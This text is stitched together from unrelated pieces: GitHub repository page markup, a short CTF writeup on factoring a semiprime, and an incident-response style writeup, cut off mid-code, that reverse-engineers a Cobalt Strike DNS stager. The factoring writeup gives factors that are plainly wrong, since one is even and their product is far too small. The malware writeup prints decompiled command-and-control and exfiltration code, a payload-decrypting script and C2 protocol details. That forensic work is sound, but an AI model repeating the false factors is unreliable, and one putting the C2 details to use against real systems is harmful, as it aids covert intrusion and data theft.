0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/ArjunaAcchaDipa/CTF-writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":369551288,"originating_url":"https://github.com/ArjunaAcchaDipa/CTF-writeups/tree/main/TFC-CTF-2021/jumpy","user_id":null}}" data-hydro-click-hmac="daf042ad41b11aad04ef010198624a120781f53a7c5dccc03d89dcd8ebdd22d3"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/ArjunaAcchaDipa/CTF-writeups/refs" cache-key="v0:1639330766.3264189" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="QXJqdW5hQWNjaGFEaXBhL0NURi13cml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/ArjunaAcchaDipa/CTF-writeups/refs" cache-key="v0:1639330766.3264189" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="QXJqdW5hQWNjaGFEaXBhL0NURi13cml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-writeups</span></span></span><span>/</span><span><span>TFC-CTF-2021</span></span><span>/</span>jumpy<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-writeups</span></span></span><span>/</span><span><span>TFC-CTF-2021</span></span><span>/</span>jumpy<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/ArjunaAcchaDipa/CTF-writeups/tree-commit/ebc6e43eeb0f4444bb063aa228fd77c89d6d5de5/TFC-CTF-2021/jumpy" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/ArjunaAcchaDipa/CTF-writeups/file-list/main/TFC-CTF-2021/jumpy"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>jumpy_solver.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# Huge Prime ## Description Find two numbers that multiply to be equal to this number which is the product of two primes: 22952152323332505688670761214671498225451684330137990990356473040741684014997701799009910066964917896400501477 ## Attachments Huge-Primes.zip(Remarks: The .zip file was a website originally) ## Writeup Upon Google, we found a tool called [Yafu](https://sourceforge.net/projects/yafu/), which can helps us to factor the semiprime number. Using Yafu by entering the command `factor(22952152323332505688670761214671498225451684330137990990356473040741684014997701799009910066964917896400501477)`, we got our factors(63145347 and 3496275968) after short period of time! Entering the factors into the website and we got our flag. ## Flag`flag{984ur9q83ndj934jd}`
As the challenge's description says, we are given a pcap file, along with a memory dump. A first looks at the pcap file show a lot of traffic, and instead of going blindly, let's have a look on the dump file instead. The dump file is a classic Minidump file, that opens nicely in WinDBG (I used WinDBG preview because it has a lot nicer interface). We can see there are two threads launched, both sleeping. So we have to analyze the backtrace of the threads to have a clue on what's going on. The first thread seems to call SleepEx from ntupdate.exe directly, which can be legitimate. But, in the second thread, SleepEx is called from `0x0018ef06` which seem more suspicious. To understand what happens, let's dump ntupdate.exe (with `.writemem z:\ntupdate.mem 400000 L?004e000` WinDBG command, module size is `0x4e000` according to windbg's module view), and "unmap" the PE [with this](https://github.com/hasherezade/libpeconv/tree/master/pe_unmapper), yeah I was lazy to code my own tool. After opening the "reconstructed" PE in IDA, the first thing we notice is the `%c%c%c%c%c%c%c%c%cMSSE-%d-server`, which indicates it seems to be a Cobalt Stike stager (and code really looks like this https://blog.nviso.eu/2021/04/26/anatomy-of-cobalt-strike-dll-stagers/). Good luck, the binary embeds the payload, which can be decrypted using this IDAPython script (don't judge my high quality variable naming): ```pythonsheep = []key = b"\x13\x4a\x5b\x22"for i in range(0x40000): sheep.append(idaapi.get_byte(0x404008 + i) ^ key[i % 4]) f = open("/tmp/payload.dump", "wb")f.write(bytes(sheep))f.close()``` We get some garbage "headers", followed by a classic MZ header: after removing the garbage, we get a PE file that loads nicely in IDA, and we are lucky because it's that PE which is mapped in 0x180000 (the mysterious code in the second thread). So we can see that the sleep is called in a function that does DNS resolving. A few moments later, after having analyzed a part of the implant, I figured that it contacted its C&C with DNS, and had several "handlers" for it: - if the requested name starts by "www.", the malware sends RSA-encrypted "fingerprint" of the machine to the C&C, along with an AES sesion key to talk to the server - if the requested name start directly by a random hex number, the bot queries orders from the C&C. The response is in a A DNS record and xored with "8.8.4.4" IP in big endian - If the requested name starts by "api.", the client first sends a A request to get the payload size (always xored by 8.8.4.4), and then issues TXT queries, and server replies with base64 data - If the request starts by "cdn.", then the first A request contains payload size, and further A requests the payload data xored by 8.8.4.4 (big endian DWORD) - There is also "www6." handler, which seem to be the same with cdn. but with AAAA records (IPv6 addresses are longer, so more data can be sent as response)```c if ( (unsigned int)QueryCnCOrder(fetchOrderDns, &ip_obf) ) { v15 = v12 ^ ntohl(ip_obf); ip_obf = v15; if ( v15 && (v15 & 0xFFFFFFF0) == 240 ) { sub_18000EF14(v15); v16 = ip_obf; if ( (ip_obf & 1) != 0 ) { exfiltrateData(v13, a1, (__int64)&encryptedFingerprint, encryptedFingerprintSize); v16 = ip_obf; } if ( (v16 & 2) != 0 ) { cncLen = get_encrypted_int(4u); v18 = sendTxtRequest(a1, (char *)bufferFromServer, cncLen); } else if ( (v16 & 4) != 0 ) { www6Len = get_encrypted_int(4u); v18 = sendWww6Typ(a1, bufferFromServer, www6Len); } else { cdnLen = get_encrypted_int(4u); v18 = sendCdnRequest(a1, bufferFromServer, cdnLen); } if ( v18 > 0 ) { v21 = decryptResponse(bufferFromServer, v18); if ( v21 > 0 ) doStuffWithResponse(bufferFromServer, (unsigned int)v21); } }``` Unfortunately, this data is encrypted by the AES session key, and since we only have the last part of the "fingerprint", we'll need to figure out where the AES key is generated/stored, and extract it from the dump with WinDBG. Before the "main" loop of DNS queries, some initialization function are quite interesting:```cvoid *__fastcall GrabInfo(GetInfoStruct *Src, unsigned int len){ DWORD CurrentProcessId; // ebx DWORD TickCount; // eax char someflags; // bl HANDLE CurrentProcess; // rax DWORD v8; // eax unsigned int v9; // edi __int64 pubKey; // rax block_iterator a1; // [rsp+30h] [rbp-20h] BYREF BYTE rand1[16]; // [rsp+40h] [rbp-10h] BYREF __int16 a2; // [rsp+90h] [rbp+40h] BYREF __int16 OEMCP; // [rsp+98h] [rbp+48h] BYREF a2 = GetACP(); OEMCP = GetOEMCP(); randomGenerator(rand1, 0x10u, 0i64); aesCreateContext((__int64)rand1); CurrentProcessId = GetCurrentProcessId(); TickCount = GetTickCount(); /* some snipped useless stuff */ /* construct the blob to be sent to the C&C */ make_block_iterator(&a1, Src, len); packMem(&a1, rand1, 16); packMem(&a1, &a2, 2); packMem(&a1, &OEMCP, 2); pack_int_bigendian(&a1, sessionRandIdentifier); v8 = GetCurrentProcessId(); pack_int_bigendian(&a1, v8); pack_short_bigendian(&a1, 0); pack_char(&a1, someflags); sub_180014750(&a1;; v9 = set_buf(&a1;; memset(&encryptedFingerprint, 0, 0x400ui64); encryptedFingerprintSize = 128; memmove(&encryptedFingerprint, Src, v9); /* decode pubkey and encrypt blob */ pubKey = cryptoshitFunc(7i64); rsa_encrypt(pubKey, (int)Src, v9, (int)&encryptedFingerprint, (__int64)&encryptedFingerprintSize); /* wipe cleartext blob */ return memset(Src, 0, v9);}``` We can see that a random 16-byte buffer is filled, which is then passed to a "aesCreateContext" function which does this:```c__int64 __fastcall aesCreateContext(__int64 a1){ __int64 result; // rax __int128 hash[2]; // [rsp+30h] [rbp-28h] BYREF unsigned int hashlen; // [rsp+68h] [rbp+10h] BYREF hashlen = 32; addHashTable(&sha256_crypt_callback); hashMethodIdx = lookup_hash_func("sha256"); if ( (unsigned int)call_hash_method(hashMethodIdx, a1, 0x10u, hash, &hashlen) ) exit(1); aes_key = hash[0]; hmac_key = hash[1]; iv = *(_OWORD *)"abcdefghijklmnop"; constructCryptoTable(&aes_crypt_callback); cryptoMethodIdx = lookup_crypto_func("aes"); result = aes_create_context((unsigned int *)&aes_key, 16, 0, aes_ctx); if ( (_DWORD)result ) exit(1); return result;}```While the initial seed is forever lost because stored as local var, the AES key and HMAC keys derived from SHA256 hash of the "initial seed" are stored in the .data section of the binary, making them "easy" to extract from the dump (just convert imagebase from 0x180000000 to 0x180000). Now come the final part of the challenge, parsing the pcap and reconstructing and decrypting the traffic between the C&C and the bot. For this, I made this quick and dirty Python script using pcapy and ImPacket: ```python#!/usr/bin/python import base64import structimport pcapyimport impacket.ImpactDecoder as Decodersimport impacket.ImpactPacket as Packetsfrom impacket.dns import DNSfrom Crypto.Cipher import AES pattern = 0x08080404key = b"U\n\xe2\x988\xb3\xdc(X\rl\x0f\xf1\x96\xde\xb2\x0e3\xaf[\xf1\x9f\xe0\x16\x1e\x0b\xa9x\x00fp\xe8" pcap = pcapy.open_offline("the_compromise/traffic.pcap")CLIENT_IP = '192.168.111.6' def decrypt(data): aeskey = key[0:16] iv = b"abcdefghijklmnop" aes = AES.new(aeskey, AES.MODE_CBC, iv) return aes.decrypt(data[:-16]) def get_int_raw_resp(dns_resp: DNS): data = dns_resp.get_body_as_string() offset = 0 qdcount = dns_resp.get_qdcount() for _ in range(qdcount): # number of questions offset, qname = dns_resp.parseCompressedMessage(data, offset) qtype = data[offset:offset+2] offset += 2 qclass = data[offset:offset+2] offset += 2 qtype = struct.unpack("!H", qtype)[0] qclass = struct.unpack("!H", qclass)[0] offset, _ = dns_resp.parseCompressedMessage(data, offset) qtype = 